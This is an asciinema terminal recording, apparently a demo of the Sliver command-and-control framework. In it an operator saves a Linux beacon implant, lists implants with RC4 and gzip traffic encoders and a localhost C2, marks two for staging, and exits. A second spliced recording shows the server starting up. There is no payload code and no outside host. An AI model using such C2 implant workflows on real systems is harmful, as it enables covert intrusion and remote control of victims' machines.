[56.204188, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[56.304793, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[56.405683, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[56.506455, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[56.607794, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[56.708681, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[56.809335, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[56.910137, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[57.010919, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[57.112135, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[57.212983, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[57.31805, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[57.419587, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[57.520196, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[57.621354, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[57.722075, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[57.824119, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[57.924599, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[58.024915, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[58.127674, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[58.228504, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[58.328925, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[58.43366, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[58.534214, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[58.634677, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[58.735292, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[58.836106, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[58.937398, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[59.040175, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[59.141358, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[59.245842, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[59.346404, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[59.447064, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[59.548633, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[59.649233, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[59.750301, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[59.853589, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[59.954108, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[60.054416, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[60.155014, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[60.2551, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[60.355831, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[60.374973, "o", "\r\u001b[2K"]
[60.388694, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /root/POWERFUL_DEBT\r\n\r\n"]
[60.397104, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[60.397628, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[60.399504, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
[61.711194, "o", "\u001b[?25l"]
[61.713174, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[61.720317, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
[61.817903, "o", "\u001b[?25l\u001b[214D"]
[61.8193, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[61.824286, "o", "im\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
[61.998253, "o", "\u001b[?25l"]
[61.999296, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[62.001887, "o", "imp\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
[62.05207, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[62.052654, "o", "\u001b[6n"]
[62.055459, "o", "impl\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
[62.216191, "o", "\u001b[?25l"]
[62.218059, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[62.222114, "o", "impla\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C"]
[62.223295, "o", "\u001b[?25h"]
[62.358486, "o", "\u001b[?25l"]
[62.359097, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[62.364115, "o", "implan\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
[62.60135, "o", "\u001b[?25l\u001b[214D"]
[62.603281, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[62.609081, "o", "implant\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[62.609883, "o", "\u001b[214D\u001b[1A\u001b[16D\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
[62.662166, "o", "\u001b[?25l\u001b[214D"]
[62.66417, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[62.666506, "o", "\u001b[1m\u001b[32mimplants\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[17D\u001b[9C\u001b[214D\u001b[17C\u001b[?25h"]
[63.110464, "o", "\u001b[17D\u001b[9C"]
[63.117265, "o", "\u001b[6n"]
[63.121016, "o", "\u001b[214D\u001b[17C\u001b[0J"]
[63.121514, "o", "\u001b[214D\r\r\n"]
[63.123349, "o", "\u001b[0 q\r\n"]
[63.176883, "o", " Name Implant Type Template OS/Arch Format Command & Control Debug C2 Config ID Stage \r\n================== ===================== ========== ============= ============ ======================= ======= =========== ======= =======\r\n POWERFUL_DEBT gzip - RC4 - beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 54907 false \r\n SOFT_OWNER beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 42203 false \r\n VISITING_PERFUME zlib - beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 3383 false \r\n WHOLE_BASE RC4 - beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 20201 false \r\n"]
[63.177558, "o", "\r\n\r\n\r\n"]
[63.186065, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[63.186281, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[63.188074, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[63.188241, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
[63.817359, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[63.829561, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
[63.922034, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[63.934886, "o", "im\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[63.935128, "o", "\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
[64.052777, "o", "\u001b[?25l"]
[64.053964, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[64.058012, "o", "imp\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[64.058545, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
[64.106408, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[64.113862, "o", "impl\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
[64.276508, "o", "\u001b[1 q"]
[64.30521, "o", "\u001b[1 q\u001b[?25l"]
[64.305698, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[64.309674, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[64.310154, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
[64.756104, "o", "\u001b[?25l\u001b[214D"]
[64.75904, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[64.763904, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22ms\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[64.764861, "o", "\u001b[214D\u001b[1A\u001b[19D\u001b[9C\u001b[214D\u001b[19C\u001b[?25h"]
[64.874575, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[64.88263, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22mst\u001b[0m\u001b[0K\u001b[49m\r"]
[64.887063, "o", "\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[20D\u001b[9C\u001b[214D\u001b[20C\u001b[?25h"]
[65.01508, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[65.026543, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22msta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[21D\u001b[9C\u001b[214D\u001b[21C\u001b[?25h"]
[65.264178, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[65.264668, "o", "\u001b[6n"]
[65.26937, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22mstag\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[65.271044, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[22D\u001b[9C\u001b[214D\u001b[22C\u001b[?25h"]
[65.316151, "o", "\u001b[?25l\u001b[214D"]
[65.317287, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[65.319802, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22mstage\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
[65.320572, "o", "\u001b[1A\u001b[23D\u001b[9C\u001b[214D\u001b[23C\u001b[?25h"]
[66.402281, "o", "\u001b[23D\u001b[9C\u001b[6n"]
[66.412449, "o", "\u001b[214D\u001b[23C\u001b[0J\u001b[214D\r\r\n"]
[66.414228, "o", "\u001b[0 q\r\n"]
[66.472399, "o", "\u001b7\u001b[?25l"]
[66.473469, "o", "\u001b8\u001b[0G\u001b[2K"]
[66.480895, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect sessions and beacons to expose:\u001b[0m \u001b[0;36m[Use arrows to move, space to select, <right> to all, <left> to none, type to filter]\u001b[0m\r\n\u001b[0;1;36m>\u001b[0m\u001b[0;1;99m [ ] \u001b[0m WHOLE_BASE\r\n \u001b[0;1;99m [ ] \u001b[0m VISITING_PERFUME\r\n \u001b[0;1;99m [ ] \u001b[0m POWERFUL_DEBT\r\n \u001b[0;1;99m [ ] \u001b[0m SOFT_OWNER\r\n"]
[66.481492, "o", "\u001b7"]
[66.482208, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
[67.569931, "o", "\u001b8"]
[67.571104, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
[67.576136, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect sessions and beacons to expose:\u001b[0m \u001b[0;36m[Use arrows to move, space to select, <right> to all, <left> to none, type to filter]\u001b[0m\r\n\u001b[0;1;36m>\u001b[0m\u001b[0;32m [x] \u001b[0m WHOLE_BASE\r\n \u001b[0;1;99m [ ] \u001b[0m VISITING_PERFUME\r\n \u001b[0;1;99m [ ] \u001b[0m POWERFUL_DEBT\r\n \u001b[0;1;99m [ ] \u001b[0m SOFT_OWNER\r\n\u001b7"]
[67.579232, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
[67.927623, "o", "\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
[67.937296, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect sessions and beacons to expose:\u001b[0m \u001b[0;36m[Use arrows to move, space to select, <right> to all, <left> to none, type to filter]\u001b[0m\r\n \u001b[0;32m [x] \u001b[0m WHOLE_BASE\r\n\u001b[0;1;36m>\u001b[0m\u001b[0;1;99m [ ] \u001b[0m VISITING_PERFUME\r\n \u001b[0;1;99m [ ] \u001b[0m POWERFUL_DEBT\r\n \u001b[0;1;99m [ ] \u001b[0m SOFT_OWNER\r\n\u001b7"]
[67.93937, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
[68.105907, "o", "\u001b8"]
[68.10758, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
[68.109503, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect sessions and beacons to expose:\u001b[0m \u001b[0;36m[Use arrows to move, space to select, <right> to all, <left> to none, type to filter]\u001b[0m"]
[68.10963, "o", "\r\n \u001b[0;32m [x] \u001b[0m WHOLE_BASE\r\n \u001b[0;1;99m [ ] \u001b[0m VISITING_PERFUME\r\n\u001b[0;1;36m>\u001b[0m\u001b[0;1;99m [ ] \u001b[0m POWERFUL_DEBT\r\n \u001b[0;1;99m [ ] \u001b[0m SOFT_OWNER\r\n\u001b7"]
[68.111334, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
[68.371987, "o", "\u001b8"]
[68.378798, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
[68.394306, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect sessions and beacons to expose:\u001b[0m \u001b[0;36m[Use arrows to move, space to select, <right> to all, <left> to none, type to filter]\u001b[0m\r\n \u001b[0;32m [x] \u001b[0m WHOLE_BASE\r\n \u001b[0;1;99m [ ] \u001b[0m VISITING_PERFUME\r\n\u001b[0;1;36m>\u001b[0m\u001b[0;32m [x] \u001b[0m POWERFUL_DEBT\r\n \u001b[0;1;99m [ ] \u001b[0m SOFT_OWNER\r\n\u001b7"]
[68.398433, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
[68.858432, "o", "\u001b8\u001b[?25h\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect sessions and beacons to expose:\u001b[0m\u001b[0;36m WHOLE_BASE, POWERFUL_DEBT\u001b[0m\r\n"]
[68.897255, "o", "\r\n"]
[68.91368, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[68.914018, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[68.915454, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C"]
[68.91643, "o", "\u001b[214D\u001b[9C\u001b[?25h"]
[69.955405, "o", "\u001b[?25l"]
[69.956744, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[69.960494, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A"]
[69.96069, "o", "\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
[70.009879, "o", "\u001b[?25l\u001b[214D"]
[70.012609, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[70.017804, "o", "im\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[70.018021, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
[70.464456, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[70.483439, "o", "imp\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[70.485924, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
[70.539426, "o", "\u001b[?25l\u001b[214D"]
[70.540673, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[70.543898, "o", "impl\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[70.544044, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D"]
[70.545525, "o", "\u001b[13C\u001b[?25h"]
[70.651461, "o", "\u001b[1 q"]
[70.683397, "o", "\u001b[1 q\u001b[?25l"]
[70.683609, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[70.687423, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[70.68846, "o", "\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
[71.181819, "o", "\u001b[18D\u001b[9C\u001b[6n"]
[71.187391, "o", "\u001b[214D\u001b[18C\u001b[0J\u001b[214D\r\r\n"]
[71.189909, "o", "\u001b[0 q\r\n"]
[71.233957, "o", " Name Implant Type Template OS/Arch Format Command & Control Debug C2 Config ID Stage \r\n================== ===================== ========== ============= ============ ======================= ======= =========== ======= =======\r\n POWERFUL_DEBT gzip - RC4 - beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 54907 true \r\n SOFT_OWNER beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 42203 false \r\n VISITING_PERFUME zlib - beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 3383 false \r\n WHOLE_BASE RC4 - beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 20201 true \r\n"]
[71.234688, "o", "\r\n\r\n\r\n"]
[71.243691, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[71.243812, "o", "\u001b[1 q\u001b[?25l\u001b[214D"]
[71.243867, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[71.245282, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
[71.245753, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
[73.381589, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[73.38348, "o", "\u001b[6n"]
[73.386558, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
[73.551089, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[73.557629, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[73.560272, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
[73.667488, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[73.674901, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[73.676022, "o", "\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
[73.823702, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[73.830817, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[73.833105, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
[74.083867, "o", "\u001b[13D\u001b[9C\u001b[6n"]
[74.093618, "o", "\u001b[214D"]
[74.09526, "o", "\u001b[13C\u001b[0J\u001b[214D\r\r\n"]
[74.098608, "o", "\u001b[0 q\r\n"]
[74.116094, "o", "Exiting...\r\n"]
[74.161362, "o", "\u001b[?2004h"]
[74.161518, "o", "root@98df0494f659:~# "]
[74.93344, "o", "\u001b[?2004l\r\r\n"]
[74.938604, "o", "exit\r\n"]
@@ -0,0 +1,163 @@
{"version": 2, "width": 214, "height": 53, "timestamp": 1714671619, "env": {"SHELL": null, "TERM": "xterm"}}
[0.035197, "o", "# "]
[1.42873, "o", "."]
[1.48696, "o", "/"]
[1.606489, "o", "s"]
[1.767933, "o", "l"]
[1.846352, "o", "i"]
[2.427611, "o", "v"]
[2.56474, "o", "e"]
[2.650025, "o", "r"]
[2.744926, "o", "-"]
[2.861713, "o", "s"]
[2.937286, "o", "e"]
[2.972338, "o", "r"]
[3.153342, "o", "v"]
[3.275743, "o", "e"]
[3.343844, "o", "r"]
[3.458348, "o", "\r\n"]
[4.72134, "o", "\u001b[1m\u001b[37m\r\r\n.------..------..------..------..------..------.\r\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\r\n`------'`------'`------'`------'`------'`------'\r\r\n\u001b[0m\r\nAll hackers gain cipher\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - ba3893980d1ca5e4ae4089eb4c87e9f5ba389119 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n\r\n"]
[4.749277, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[4.751226, "o", "\u001b[1 q"]
[4.753544, "o", "\u001b[?25l"]
[4.753975, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.760322, "o", "\u001b[0m\u001b[0K\u001b[49m"]
[4.760971, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C"]
[4.761776, "o", "\u001b[214D\u001b[9C\u001b[?25h"]
[5.79902, "o", "\u001b[?25l"]
[5.803843, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.83293, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[5.833324, "o", "\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
[5.88572, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[5.88631, "o", "\u001b[6n"]
[5.897688, "o", "im\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[5.898349, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
[6.03, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.043073, "o", "imp\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[6.046111, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
[6.091735, "o", "\u001b[?25l"]
[6.093705, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.105412, "o", "impl\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[6.105982, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
[6.186028, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[6.186264, "o", "\u001b[6n"]
[6.190996, "o", "impla\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C\u001b[?25h"]
[6.343665, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.358766, "o", "implan\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[6.359008, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
[6.448257, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[6.458297, "o", "\u001b[6n"]
[6.476822, "o", "implant\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[6.477123, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[16D\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
[6.503454, "o", "\u001b[?25l"]
[6.504386, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.508097, "o", "\u001b[1m\u001b[32mimplants\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[17D\u001b[9C\u001b[214D\u001b[17C\u001b[?25h"]
[6.690314, "o", "\u001b[17D\u001b[9C"]
[6.694088, "o", "\u001b[6n"]
[6.703296, "o", "\u001b[214D\u001b[17C"]
[6.704242, "o", "\u001b[0J\u001b[214D\r\r\n"]
[6.710002, "o", "\u001b[0 q\r\n"]
[6.757913, "o", " Name Implant Type Template OS/Arch Format Command & Control Debug C2 Config ID Stage \r\n================= ============== ========== ============= ============ ======================= ======= =========== ======= =======\r\n ASHAMED_WHISKEY beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 19778 false \r\n"]
[6.758229, "o", "\r\n\r\n\r\n"]
[6.780643, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[6.781765, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.790649, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[6.791286, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
[7.761701, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.779716, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D"]
[7.779944, "o", "\u001b[10C\u001b[?25h"]
[7.877287, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
